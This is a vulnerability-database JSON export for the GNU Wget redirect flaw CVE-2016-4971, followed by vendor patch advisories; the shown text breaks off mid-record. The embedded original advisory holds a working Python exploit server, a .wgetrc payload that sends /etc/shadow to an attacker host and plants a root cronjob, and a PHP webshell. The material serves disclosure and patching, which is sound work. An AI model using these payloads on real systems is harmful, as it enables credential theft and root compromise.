"impactScore": 5.9}, "published": "2016-07-06T00:00:00", "title": "GNU Wget 1.18 - Arbitrary File Upload Remote Code Execution", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-07-06T00:00:00", "id": "EXPLOITPACK:B7D0421EBA79F420787732ED0D8CDB1D", "href": "", "sourceData": "=============================================\n- Release date: 06.07.2016\n- Discovered by: Dawid Golunski\n- Severity: High\n- CVE-2016-4971\n=============================================\n\n\nI. VULNERABILITY\n-------------------------\n\nGNU Wget < 1.18 Arbitrary File Upload / Potential Remote Code Execution\n\n\nII. BACKGROUND\n-------------------------\n\n\"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and \nFTP, the most widely-used Internet protocols. \nIt is a non-interactive commandline tool, so it may easily be called from \nscripts, cron jobs, terminals without X-Windows support, etc.\n\nGNU Wget has many features to make retrieving large files or mirroring entire \nweb or FTP sites easy\n\"\n\nhttps://www.gnu.org/software/wget/\n\n\nIII. INTRODUCTION\n-------------------------\n\nGNU Wget before 1.18 when supplied with a malicious URL (to a malicious or \ncompromised web server) can be tricked into saving an arbitrary remote file \nsupplied by an attacker, with arbitrary contents and filename under \nthe current directory and possibly other directories by writing to .wgetrc.\nDepending on the context in which wget is used, this can lead to remote code \nexecution and even root privilege escalation if wget is run via a root cronjob \nas is often the case in many web application deployments. \nThe vulnerability could also be exploited by well-positioned attackers within\nthe network who are able to intercept/modify the network traffic.\n\n\nIV. DESCRIPTION\n-------------------------\n\nBecause of lack of sufficient controls in wget, when user downloads a file \nwith wget, such as:\n\nwget http://attackers-server/safe_file.txt\n\nan attacker who controls the server could make wget create an arbitrary file\nwith an arbitrary contents and filename by issuing a crafted HTTP 30X Redirect \ncontaining FTP server reference in response to the victim's wget request. \n\nFor example, if the attacker's server replies with the following response:\n\nHTTP/1.1 302 Found\nCache-Control: private\nContent-Type: text/html; charset=UTF-8\nLocation: ftp://attackers-server/.bash_profile\nContent-Length: 262\nServer: Apache\n\nwget will automatically follow the redirect and will download a malicious\n.bash_profile file from a malicious FTP server. \nIt will fail to rename the file to the originally requested filename of \n'safe_file.txt' as it would normally do, in case of a redirect to another \nHTTP resource with a different name. \n\nBecause of this vulnerability, an attacker is able to upload an arbitrary file\nwith an arbitrary filename to the victim's current directory.\n\nExecution flow:\n\nvictim@trusty:~$ wget --version | head -n1\nGNU Wget 1.17 built on linux-gnu.\n\nvictim@trusty:~$ pwd\n/home/victim\n\nvictim@trusty:~$ ls\nvictim@trusty:~$ \n\nvictim@trusty:~$ wget http://attackers-server/safe-file.txt\nResolving attackers-server... 192.168.57.1\nConnecting to attackers-server|192.168.57.1|:80... connected.\nHTTP request sent, awaiting response... 302 Found\nLocation: ftp://192.168.57.1/.bash_profile [following]\n => \u00e2\u20ac\u02dc.bash_profile\u00e2\u20ac\u2122\nConnecting to 192.168.57.1:21... connected.\nLogging in as anonymous ... Logged in!\n==> SYST ... done. ==> PWD ... done.\n==> TYPE I ... done. ==> CWD not needed.\n==> SIZE .bash_profile ... 55\n==> PASV ... done. ==> RETR .bash_profile ... done.\nLength: 55 (unauthoritative)\n\n.bash_profile 100%[=============================================================================================>] 55 --.-KB/s in 0s\n\n2016-02-19 04:50:37 (1.27 MB/s) - \u00e2\u20ac\u02dc.bash_profile\u00e2\u20ac\u2122 saved [55]\n\n\nvictim@trusty:~$ ls -l\ntotal 4\n-rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile\nvictim@trusty:~$ \n\n\nThis vulnerability will not work if extra options that force destination\nfilename are specified as a paramter. Such as: -O /tmp/output\nIt is however possible to exploit the issue with mirroring/recursive options\nenabled such as -r or -m.\n\nAnother limitation is that attacker exploiting this vulnerability can only\nupload his malicious file to the current directory from which wget was run, \nor to a directory specified by -P option (directory_prefix option).\nThis could however be enough to exploit wget run from home directory, or\nwithin web document root (in which case attacker could write malicious php files\nor .bash_profile files).\n\nThe current directory limitation could also be bypassed by uploading a .wgetrc \nconfig file if wget was run from a home directory.\n\nBy saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget\nsettings such as destination directory for all downloaded files in future,\nas well as set a proxy setting to make future requests go through a malicious \nproxy server belonging to the attackers to which they could send further \nmalicious responses.\n\n\nHere is a set of Wget settings that can be helpful to an attacker:\n\ndir_prefix = string\n\tTop of directory tree\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-P string\u00e2\u20ac\u2122.\n\npost_file = file\n\tUse POST as the method for all HTTP requests and send the contents of file in the request body. The same as \u00e2\u20ac\u02dc--post-file=file\u00e2\u20ac\u2122.\n\nrecursive = on/off\n\tRecursive on/off\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-r\u00e2\u20ac\u2122.\n\ntimestamping = on/off\n\tAllows to overwrite existing files.\n\ncut_dirs = n\n\tIgnore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option).\n\nhttp_proxy \n\tHTTP Proxy server\n\nhttps_proxy \n\tHTTPS Proxy server\n\noutput_document = file\n\tSet the output filename\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-O file\u00e2\u20ac\u2122.\n\ninput = file\n\tRead the URLs from string, like \u00e2\u20ac\u02dc-i file\u00e2\u20ac\u2122.\n\nmetalink-over-http\n\tIssues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers. \n Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download.\n\n\n\nFull list of .wgetrc options can be found in:\n\nhttps://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Commands\n\n\n\nV. PROOF OF CONCEPT EXPLOIT\n-------------------------\n\n\n1) Cronjob with wget scenario\n\nOften wget is used inside cronjobs. By default cronjobs run within home \ndirectory of the cronjob owner.\nSuch wget cronjobs are commonly used with many applications used to download \nnew version of databases, requesting web scripts that perform scheduled tasks \nsuch as rebuilding indexes, cleaning caches etc. \nHere are a few example tutorials for Wordpress/Moodle/Joomla/Drupal found on \nthe Internet with exploitable wget cronjobs:\n\nhttps://codex.wordpress.org/Post_to_your_blog_using_email\nhttps://docs.moodle.org/2x/ca/Cron\nhttp://www.joomlablogger.net/joomla-tips/joomla-general-tips/how-to-set-up-a-content-delivery-network-cdn-for-your-joomla-site\nhttp://www.zyxware.com/articles/4483/drupal-how-to-add-a-cron-job-via-cpanel\n\nSuch setup could be abused by attackers to upload .bash_profile file through\nwget vulnerability and run commands in the context of the victim user upon \ntheir next log-in. \n\nAs cron runs priodically attackers, could also write out .wgetrc file in the \nfirst response and then write to /etc/cron.d/malicious-cron in the second. \nIf a cronjob is run by root, this would give them an almost instant root code \nexecution.\n\n\nIt is worth noting that if an attacker had access to local network they could \npotentially modify unencrypted HTTP traffic to inject malicious 30X Redirect \nresponses to wget requests.\n\nThis issue could also be exploited by attackers who have already gained \naccess to the server through a web vulnerability to escalate their privileges. \nIn many cases the cron jobs (as in examples above) are set up to request \nvarious web scripts e.g: \nhttp://localhost/clean-cache.php \n\nIf the file was writable by apache, and attacker had access to www-data/apache \naccount, they could modify it to return malicious Location header and exploit \nroot cronjob that runs the wget request in order to escalate their privileges \nto root.\n\n\nFor simplicity we can assume that attacker already has control over the server \nthat the victim sends the request to with wget.\n\nThe root cronjob on the victim server may look as follows:\n\nroot@victim:~# cat /etc/cron.d/update-database\n# Update database file every 2 minutes\n*/2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1\n\n\nIn order to exploit this setup, attacker first prepares a malicious .wgetrc \nand starts an FTP server:\n\nattackers-server# mkdir /tmp/ftptest\nattackers-server# cd /tmp/ftptest\n\nattackers-server# cat <<_EOF_>.wgetrc\npost_file = /etc/shadow\noutput_document = /etc/cron.d/wget-root-shell\n_EOF_\n\nattackers-server# sudo pip install pyftpdlib\nattackers-server# python -m pyftpdlib -p21 -w\n\n\nAt this point attacker can start an HTTP server which will exploit wget by\nsending malicious redirects to the victim wget's requests:\n \n---[ wget-exploit.py ]---\n\n#!/usr/bin/env python\n\n#\n# Wget 1.18 < Arbitrary File Upload Exploit\n# Dawid Golunski\n# dawid( at )legalhackers.com\n#\n# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt\n#\n# CVE-2016-4971 \n#\n\nimport SimpleHTTPServer\nimport SocketServer\nimport socket;\n\nclass wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):\n def do_GET(self):\n # This takes care of sending .wgetrc\n\n print \"We have a volunteer requesting \" + self.path + \" by GET :)\\n\"\n if \"Wget\" not in self.headers.getheader('User-Agent'):\n\t print \"But it's not a Wget :( \\n\"\n self.send_response(200)\n self.end_headers()\n self.wfile.write(\"Nothing to see here...\")\n return\n\n print \"Uploading .wgetrc via ftp redirect vuln. It should land in /root \\n\"\n self.send_response(301)\n new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )\n print \"Sending redirect to %s \\n\"%(new_path)\n self.send_header('Location', new_path)\n self.end_headers()\n\n def do_POST(self):\n # In here we will receive extracted file and install a PoC cronjob\n\n print \"We have a volunteer requesting \" + self.path + \" by POST :)\\n\"\n if \"Wget\" not in self.headers.getheader('User-Agent'):\n\t print \"But it's not a Wget :( \\n\"\n self.send_response(200)\n self.end_headers()\n self.wfile.write(\"Nothing to see here...\")\n return\n\n content_len = int(self.headers.getheader('content-length', 0))\n post_body = self.rfile.read(content_len)\n print \"Received POST from wget, this should be the extracted /etc/shadow file: \\n\\n---[begin]---\\n %s \\n---[eof]---\\n\\n\" % (post_body)\n\n print \"Sending back a cronjob script as a thank-you for the file...\" \n print \"It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)\"\n self.send_response(200)\n self.send_header('Content-type', 'text/plain')\n self.end_headers()\n self.wfile.write(ROOT_CRON)\n\n print \"\\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \\n\"\n\n return\n\nHTTP_LISTEN_IP = '192.168.57.1'\nHTTP_LISTEN_PORT = 80\nFTP_HOST = '192.168.57.1'\nFTP_PORT = 21\n\nROOT_CRON = \"* * * * * root /usr/bin/id > /root/hacked-via-wget \\n\"\n\nhandler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)\n\nprint \"Ready? Is your FTP server running?\"\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nresult = sock.connect_ex((FTP_HOST, FTP_PORT))\nif result == 0:\n print \"FTP found open on %s:%s. Let's go then\\n\" % (FTP_HOST, FTP_PORT)\nelse:\n print \"FTP is down :( Exiting.\"\n exit(1)\n\nprint \"Serving wget exploit on port %s...\\n\\n\" % HTTP_LISTEN_PORT\n\nhandler.serve_forever()\n\n\n---[ eof ]---\n\n\n\nAttacker can run wget-exploit.py and wait a few minutes until the victim's server executes\nthe aforementioned cronjob with wget.\n\nThe output should look similar to:\n\n\n---[ wget-exploit.py output ]---\n\nattackers-server# python ./wget-exploit.py \n\nReady? Is your FTP server running?\nFTP found open on 192.168.57.1:21. Let's go then\n\nServing wget exploit on port 80...\n\n\nWe have a volunteer requesting /database.db by GET :)\n\nUploading .wgetrc via ftp redirect vuln. It should land in /root \n\n192.168.57.10 - - [26/Feb/2016 15:03:54] \"GET /database.db HTTP/1.1\" 301 -\nSending redirect to ftp://anonymous@192.168.57.1:21/.wgetrc \n\nWe have a volunteer requesting /database.db by POST :)\n\nReceived POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\nroot:$6$FsAu5RlS$b2J9GDm.....cut......9P19Nb./Y75nypB4FXXzX/:16800:0:99999:7:::\ndaemon:*:16484:0:99999:7:::\nbin:*:16484:0:99999:7:::\nsys:*:16484:0:99999:7:::\nsync:*:16484:0:99999:7:::\ngames:*:16484:0:99999:7:::\nman:*:16484:0:99999:7:::\nlp:*:16484:0:99999:7:::\n...cut...\n---[eof]---\n\nSending back a cronjob script as a thank-you for the file...\nIt should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)\n192.168.57.10 - - [26/Feb/2016 15:05:54] \"POST /database.db HTTP/1.1\" 200 -\n\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n\n---[ output eof ]---\n\n\nAs we can see .wgetrc got uploaded by the exploit. It has set the post_file\nsetting to /etc/shadow.\nTherefore, on the next wget run, wget sent back shadow file to the attacker.\nIt also saved the malicious cronjob script (ROOT_CRON variable) which should \ncreate a file named /root/hacked-via-wget, which we can verify on the victim's \nserver:\n\n\nroot@victim:~# cat /etc/cron.d/wget-root-shell \n* * * * * root /usr/bin/id > /root/hacked-via-wget \n\nroot@victim:~# cat /root/hacked-via-wget \nuid=0(root) gid=0(root) groups=0(root)\n\n\n\n2) PHP web application scenario\n\nIf wget is used within a PHP script e.g.:\n\n<?php\n\n// Update geoip data\n\n system(\"wget -N -P geoip http://attackers-host/goeip.db\");\t\n\n?>\n\nAn attacker who manages to respond to the request could simply upload a PHP\nbackdoor of:\n\n<?php\n\t//webshell.php\n\n\tsystem($_GET['cmd']);\n?>\n\nby using the wget-exploit script described in example 1.\n\nAfter the upload he could simply execute the script and their shell\ncommand by a GET request to:\n\nhttp://victims-php-host/geoip/webshell.php?cmd=id\n\n\nVI. BUSINESS IMPACT\n-------------------------\n\nAffected versions of wget that connect to untrusted (or compromised) web \nservers could be tricked into uploading a file under an arbitrary name, or\neven path (if wget is run from a home directory).\nDepending on the context in which wget is used, this could lead to\nuploading a web shell and granting the attacker access remote access to the\nsystem, or privilege escalation. It could be possible for attackers to escalate\nto root user if wget is run via root cronjob as it is often the case in web \napplication deployments and is recommended in some guides on the Internet.\n\nThe vulnerability could also be exploited by well-positioned attackers within\nthe networ who are able to intercept/modify the network traffic.\n\n \nVII. SYSTEMS AFFECTED\n-------------------------\n\nAll versions of Wget before the patched version of 1.18 are affected.\n \nVIII. SOLUTION\n-------------------------\n\nUpdate to wget version 1.18 as advertised by the vendor at:\n\nhttp://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html\n\nLinux distributions should update their wget packages. It is recommended\nto update wget manually if an updated package is not available for your\ndistribution.\n \nIX. REFERENCES\n-------------------------\n\nhttp://legalhackers.com\n\nhttp://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt\n\nhttp://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html\n\nhttp://www.ubuntu.com/usn/usn-3012-1/\n\nhttps://bugzilla.redhat.com/show_bug.cgi?id=1343666#c1\n\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971\n\nX. CREDITS\n-------------------------\n\nThe vulnerability has been discovered by Dawid Golunski\ndawid (at) legalhackers (dot) com\nlegalhackers.com\n \nXI. REVISION HISTORY\n-------------------------\n\n06.07.2016 - Advisory released\n \nXII. LEGAL NOTICES\n-------------------------\n\nThe information contained within this advisory is supplied \"as-is\" with\nno warranties or guarantees of fitness of use or otherwise. I accept no\nresponsibility for any damage caused by the use or misuse of this information.", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "ubuntu": [{"lastseen": "2022-01-04T12:26:03", "description": "Dawid Golunski discovered that Wget incorrectly handled filenames when \nbeing redirected from an HTTP to an FTP URL. A malicious server could \npossibly use this issue to overwrite local files.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-06-20T00:00:00", "type": "ubuntu", "title": "Wget vulnerability", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-06-20T00:00:00", "id": "USN-3012-1", "href": "https://ubuntu.com/security/notices/USN-3012-1", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2022-01-04T12:24:13", "description": "Thijs Alkemade, Gustavo Grieco, Daniel Stenberg, and Nikos \nMavrogiannopoulos discovered that Libidn incorrectly handled invalid UTF-8 \ncharacters. A remote attacker could use this issue to cause Libidn to \ncrash, resulting in a denial of service, or possibly disclose sensitive \nmemory. This issue only applied to Ubuntu 12.04 LTS and Ubuntu 14.04 LTS. \n(CVE-2015-2059)\n\nHanno B\u00f6ck discovered that Libidn incorrectly handled certain input. A \nremote attacker could possibly use this issue to cause Libidn to crash, \nresulting in a denial of service. (CVE-2015-8948, CVE-2016-6262, \nCVE-2016-6261, CVE-2016-6263)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 3.6}, "published": "2016-08-24T00:00:00", "type": "ubuntu", "title": "Libidn vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-2059", "CVE-2016-6261", "CVE-2015-8948", "CVE-2016-6262", "CVE-2016-6263"], "modified": "2016-08-24T00:00:00", "id": "USN-3068-1", "href": "https://ubuntu.com/security/notices/USN-3068-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2021-10-21T04:43:05", "description": "The wget packages provide the GNU Wget file retrieval utility for HTTP, HTTPS, and FTP protocols.\n\nSecurity Fix(es):\n\n* It was found that wget used a file name provided by the server for the downloaded file when following an HTTP redirect to a FTP server resource. This could cause wget to create a file with a different name than expected, possibly allowing the server to execute arbitrary code on the client. (CVE-2016-4971)\n\nRed Hat would like to thank GNU wget project for reporting this issue. Upstream acknowledges Dawid Golunski as the original reporter.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat Enterprise Linux 7.3 Release Notes linked from the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-11-03T06:07:15", "type": "redhat", "title": "(RHSA-2016:2587) Moderate: wget security and bug fix update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2018-04-11T23:31:39", "id": "RHSA-2016:2587", "href": "https://access.redhat.com/errata/RHSA-2016:2587", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "redhatcve": [{"lastseen": "2021-09-06T11:00:07", "description": "It was found that wget used a file name provided by the server for the downloaded file when following a HTTP redirect to a FTP server resource. This could cause wget to create a file with a different name than expected, possibly allowing the server to execute arbitrary code on the client.\n#### Mitigation\n\nUse wget with "-O" option to explicitly specify the output filename. \n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-06-14T08:18:41", "type": "redhatcve", "title": "CVE-2016-4971", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2021-05-06T18:32:04", "id": "RH:CVE-2016-4971", "href": "https://access.redhat.com/security/cve/cve-2016-4971", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "amazon": [{"lastseen": "2021-07-25T19:28:12", "description": "**Issue Overview:**\n\nGNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource. (CVE-2016-4971)\n\n \n**Affected Packages:** \n\n\nwget\n\n \n**Issue Correction:** \nRun _yum update wget_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 wget-debuginfo-1.18-1.18.amzn1.i686 \n \u00a0\u00a0\u00a0 wget-1.18-1.18.amzn1.i686 \n \n src: \n \u00a0\u00a0\u00a0 wget-1.18-1.18.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 wget-1.18-1.18.amzn1.x86_64 \n \u00a0\u00a0\u00a0 wget-debuginfo-1.18-1.18.amzn1.x86_64 \n \n \n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-07-14T16:30:00", "type": "amazon", "title": "Medium: wget", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-07-14T16:30:00", "id": "ALAS-2016-720", "href": "https://alas.aws.amazon.com/ALAS-2016-720.html", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "cloudfoundry": [{"lastseen": "2019-05-29T18:33:03", "description": "USN-3012-1 Wget vulnerability\n\n# \n\nMedium\n\n# Vendor\n\nCanonical Ubuntu, wget\n\n# Versions Affected\n\nCanonical Ubuntu 14.04 LTS\n\n# Description\n\nDawid Golunski discovered that Wget incorrectly handled filenames when being redirected from an HTTP to an FTP URL. A malicious server could possibly use this issue to overwrite local files.\n\n# Affected Products and Versions\n\n_Severity is medium unless otherwise noted. \n_\n\n * Cloud Foundry cflinuxfs2 versions prior to 1.67.0 \n * Cloud Foundry BOSH stemcells 3146.x versions prior to 3146.17 AND other versions prior to 3232.12 are vulnerable \n\n# Mitigation\n\nUsers of affected versions should apply the following mitigation:\n\n * Upgrade to Cloud Foundry cflinuxfs2 versions 1.67.0 or later \n * The Cloud Foundry team has released patched BOSH stemcells 3146.17 and 3232.12 with an upgraded Linux kernel that resolves the aforementioned issues. We recommend that Operators upgrade BOSH stemcell 3146.x versions to 3146.17 OR other versions to 3232.12 \n\n# Credit\n\nDawid Golunski\n\n# References\n\n * <http://www.ubuntu.com/usn/usn-3012-1/>\n * <http://people.ubuntu.com/~ubuntu-security/cve/CVE-2016-4971>\n * <https://bosh.io/stemcells>\n * <https://github.com/cloudfoundry/cf-release>\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-07-13T00:00:00", "type": "cloudfoundry", "title": "USN-3012-1 Wget vulnerability | Cloud Foundry", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-07-13T00:00:00", "id": "CFOUNDRY:6D0FE27767FA08BC6718743E9AB9EC99", "href": "https://www.cloudfoundry.org/blog/usn-3012-1/", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2021-08-11T17:50:35", "description": "USN-3068-1 Libidn vulnerabilities\n\n# \n\nMedium\n\n# Vendor\n\nCanonical Ubuntu, libidn\n\n# Versions Affected\n\nCanonical Ubuntu 14.04 LTS\n\n# Description\n\nThijs Alkemade, Gustavo Grieco, Daniel Stenberg, and Nikos Mavrogiannopoulos discovered that Libidn incorrectly handled invalid UTF-8 characters. A remote attacker could use this issue to cause Libidn to crash, resulting in a denial of service, or possibly disclose sensitive memory. ([CVE-2015-2059](<http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-2059.html>))\n\nHanno B\u00f6ck discovered that Libidn incorrectly handled certain input. A remote attacker could possibly use this issue to cause Libidn to crash, resulting in a denial of service. ([CVE-2015-8948](<http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-8948.html>), [CVE-2016-6262](<http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-6262.html>), [CVE-2016-6261](<http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-6261.html>), [ CVE-2016-6263](<http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-6263.html>))\n\n# Affected Products and Versions\n\n_Severity is medium unless otherwise noted. \n_\n\n * Cloud Foundry BOSH stemcells 3146.x versions prior to 3146.21 AND 3232.x versions prior to 3232.19 AND other versions prior to 3262.12 are vulnerable\n * All versions of Cloud Foundry cflinuxfs2 prior to v.1.78.0\n\n# Mitigation\n\nUsers of affected versions should apply the following mitigation:\n\n * The Cloud Foundry team has released patched BOSH stemcells 3146.21 and 3232.19 with an upgraded Linux kernel that resolves the aforementioned issues. We recommend that Operators upgrade BOSH stemcell 3146.x versions to 3146.21 OR 3232.x versions to 3232.19\n * The Cloud Foundry project recommends that Cloud Foundry deployments run with cflinuxfs2 v.1.78.0 or later versions\n\n# Credit\n\nThijs Alkemade, Hanno B\u00f6ck, Gustavo Grieco, Nikos Mavrogiannopoulos, and Daniel Stenberg\n\n# References\n\n * <http://www.ubuntu.com/usn/usn-3068-1/>\n * <http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-2059.html>\n * 